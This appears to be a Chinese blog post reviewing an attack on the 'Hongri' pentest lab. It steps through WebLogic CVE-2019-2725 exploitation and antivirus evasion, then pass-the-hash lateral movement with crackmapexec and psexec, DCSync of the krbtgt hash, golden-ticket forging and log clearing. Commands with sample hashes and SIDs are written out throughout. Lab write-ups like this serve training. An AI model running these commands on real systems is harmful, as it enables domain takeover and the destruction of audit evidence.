当前位置: 首页 > news >正文

红日靶场实战复盘:从Weblogic反序列化到域内横向移动的完整攻击链分析

红日靶场深度解析:从漏洞利用到内网渗透的战术思维拆解

在网络安全攻防演练中,红日靶场因其高度仿真的企业内网环境而成为渗透测试人员的"实战沙盒"。不同于单点漏洞的简单利用,真正的内网渗透考验的是攻击者如何将多个技术点串联成完整的攻击链。本文将从一个攻击者的决策视角出发,还原从Weblogic反序列化漏洞突破边界到域控完全沦陷的全过程技术细节,重点剖析每个环节的工具选择、绕过思路和战术逻辑。

1. 环境拓扑与攻击面分析

红日靶场的典型架构模拟了企业常见的DMZ区-内网隔离环境:

  • WEB服务器(双网卡)
    • 外网IP:192.168.44.80(暴露Weblogic服务)
    • 内网IP:10.10.10.80
  • PC主机(域成员)
    • 外网IP:192.168.44.201
    • 内网IP:10.10.10.201
  • DC主机(域控制器)
    • 内网IP:10.10.10.10

攻击路径的关键节点如下表所示:

阶段目标系统依赖条件可能的技术手段
初始突破WEB服务器Weblogic漏洞暴露CVE-2019-2725反序列化
权限维持WEB服务器绕过主机防护内存加载Shellcode/进程注入
横向移动PC主机445端口开放MS17-010/Psexec
权限提升DC主机域管理员凭证泄露哈希传递/黄金票据

提示:实际渗透中需先通过nmap扫描确认端口开放情况,建议使用-T4 -A -p-参数进行全端口探测和服务识别。

2. 边界突破:Weblogic反序列化漏洞实战

CVE-2019-2725是Weblogic WLS9-async组件的XML反序列化漏洞,攻击者可通过构造恶意SOAP请求实现远程代码执行。以下是关键利用步骤:

  1. 漏洞验证

    curl -X POST http://192.168.44.80:7001/_async/AsyncResponseService \ -H "Content-Type: text/xml" \ --data-binary '@poc.xml'

    当返回500错误且包含java.lang.Runtime等关键字时,表明存在漏洞。

  2. 利用工具链选择

    • 手工利用:通过ysoserial生成Payload
      java -jar ysoserial.jar CommonsCollections1 "cmd /c calc.exe" > payload.ser
    • 自动化工具:WeblogicScan等集成化工具可快速完成漏洞检测和利用
  3. 绕过防护要点

    • 静态免杀:对生成的Webshell进行代码混淆/加密
    • 动态对抗:使用无文件攻击技术(如内存加载)
    • 行为规避:避免直接执行高危操作(如添加用户)

实际测试中发现目标存在360动态防护,此时可采用分段执行策略:

  • 第一阶段仅执行信息收集命令
  • 第二阶段通过反射加载.NET程序集绕过检测
  • 最终使用Cobalt Strike的execute-assembly功能加载Mimikatz

3. 内网横向移动技术矩阵

获得WEB服务器控制权后,通过ipconfig /all发现内网网段为10.10.10.0/24。接下来需要选择合适的技术进行横向扩展:

3.1 信息收集方法论

# 基础网络信息 arp -a route print netstat -ano | findstr ESTAB # 域环境侦查 nltest /domain_trusts net group "Domain Admins" /domain dsquery computer -limit 0

3.2 横向技术对比

技术手段适用场景优势风险点
MS17-010未打补丁的Windows系统无需凭证易触发IDS/可能造成系统崩溃
Psexec已获取管理员凭证稳定性高日志记录明显
WMI远程执行防火墙放行135端口隐蔽性强需要高权限凭证
计划任务注入存在时间差的管理窗口绕过部分监控需要本地管理员权限

在本案例中,通过以下步骤实现DC主机控制:

  1. 使用crackmapexec扫描内网SMB服务:
    crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
  2. 发现DC主机(10.10.10.10)存在MS17-010漏洞但利用失败,转为Psexec方式:
    psexec.py domain/administrator@10.10.10.10 -hashes :32ed87bdb5fdc5e9cba88547376818d4
  3. 获取DC控制权后提取KRBTGT账户哈希:
    lsadump::dcsync /domain:de1ay.com /user:krbtgt

4. 权限维持的黄金艺术

黄金票据(Golden Ticket)攻击允许攻击者在获取KRBTGT账户哈希后,伪造任意用户的TGT票据。具体实现步骤:

  1. 获取关键信息

    whoami /user # 获取当前用户SID nltest /domain # 确认域名
  2. 生成黄金票据

    ticketer.py -nthash b18b4b218eccad1c223306ea1916885e \ -domain-sid S-1-5-21-2543277225-3219012424-3233706247 \ -domain de1ay.com administrator
  3. 票据注入

    export KRB5CCNAME=administrator.ccache psexec.py de1ay.com/administrator@dc.de1ay.com -k -no-pass

关键参数说明:

  • KRBTGT哈希:域控制器的"万能钥匙",默认每30天轮换一次
  • 域名:必须与证书中的SPN严格匹配
  • SID:去掉末尾RID部分的域SID(如S-1-5-21-...)
  • 有效期:默认10小时,可通过-duration参数延长

注意:黄金票据在域内任意主机均可使用,即使更改域管理员密码也不影响其有效性。

5. 对抗检测与痕迹清理

完整的攻击链需要覆盖"进入-驻留-离开"全生命周期。在最后阶段需重点处理:

日志清除技术对比

方法作用范围隐蔽性所需权限
wevtutil单个日志通道★★☆管理员
meterpreter clearev三大默认日志★☆☆SYSTEM
事件查看器手动删除可视化操作★☆☆管理员
日志策略篡改阻止新日志生成★★★本地安全策略权限

推荐的多阶段清理方案:

  1. 先使用wevtutil cl security清除安全日志
  2. 修改日志策略限制后续记录:
    auditpol /set /category:"Account Logon" /success:disable /failure:disable
  3. 最后删除Recent文件夹中的操作记录:
    del /f /s /q "%appdata%\Microsoft\Windows\Recent\*"

在真实环境中,攻击者往往会采用时间延迟、流量伪装等技术进一步隐蔽行踪。例如通过DNS隧道传输数据,或使用域内合法服务(如SQL Server)作为C2通道。

http://www.rkmt.cn/news/1430524.html

相关文章:

  • 别再只盯着波形了!用示波器看眼图,手把手教你诊断高速信号质量(附Keysight实测)
  • 告别虚拟机!5分钟在Docker里跑起OpenVAS漏洞扫描器(附最新镜像拉取命令)
  • 在openEuler 20.03 LTS SP3上编译内核踩坑记:FT2000+平台启动卡在EFI stub的排查与解决
  • Linux系统管理员必看:安全审计后如何优雅地清理history与日志,避免误操作
  • AutoDL远程桌面连接保姆级避坑指南:从VNC Viewer配置到SSH隧道稳定维护
  • 世界模型进入实时交互纪元?:Sora 2在3D动态场景生成中实现17ms端到端延迟的关键5步优化
  • JGB37-520(12V 带编码器)电机 详细解析
  • 2026年树洞聊天平台隐私实测:游戏中的心事同样要安全保护 - 时时资讯
  • 软考 系统架构设计师历年真题集萃(269)
  • Windows 11的WLAN图标不见了?别急着重装系统,试试这个设备管理器里的隐藏选项
  • 别再只会点灯了!用STM32F407的PWM驱动舵机,做个会动的机械臂原型(附完整代码)
  • VAD不止于识别:聊聊语音端点检测在降噪、编码和IoT设备里的那些事儿
  • 基于Arduino与Dynamixel的智能遥控拖船:集成4DOF机械臂与FPV的机器人平台实践
  • 向量数据库响应延迟飙至8s?不是QPS过高——揭秘Milvus/Weaviate底层Segment分裂引发的隐性阻塞(仅头部12家AI平台知晓)
  • 终极MapleStory游戏资源编辑器:5步轻松打造专属游戏世界
  • JMeter汇总报告保姆级解读:从‘样本’到‘吞吐量’,每个参数到底在说什么?
  • 185、运动控制中的行业应用:AGV与移动机器人
  • 技术人如何高效处理信息流:从AI、比特币到StoreKit 2的实践思考
  • DouyinLiveWebFetcher:抖音直播数据采集的终极解决方案
  • 数据库原理选择题精选
  • 别再只改SE11了!ABAP搜索帮助增强的完整流程:从创建、分配到调试的避坑指南
  • Linux动态链接库缺失导致FlexNet许可证服务器启动失败的解决方案
  • 告别环境报错:用Docker一键部署MMDetection3D开发环境(支持PyTorch 1.10.1 + CUDA 11.3)
  • Gemini多模态视频分析落地全链路(企业级部署避坑手册)
  • 好用还专业!2026年最值得体验的专业降AI率工具
  • 告别ViT的‘暴力计算’:手把手教你用PyTorch实现MViT的池化注意力(附代码)
  • 从零搭建一个私有化单点登录中心:基于Docker部署Casdoor全记录(含MySQL配置与HTTPS证书)
  • 告别复制粘贴!用Automa插件把网页表格数据一键存入MySQL(附完整Java后端代码)
  • League Akari:英雄联盟玩家的3大智能助手完整指南
  • Java 核心基础进阶:从字符串操作到容器框架的深度解析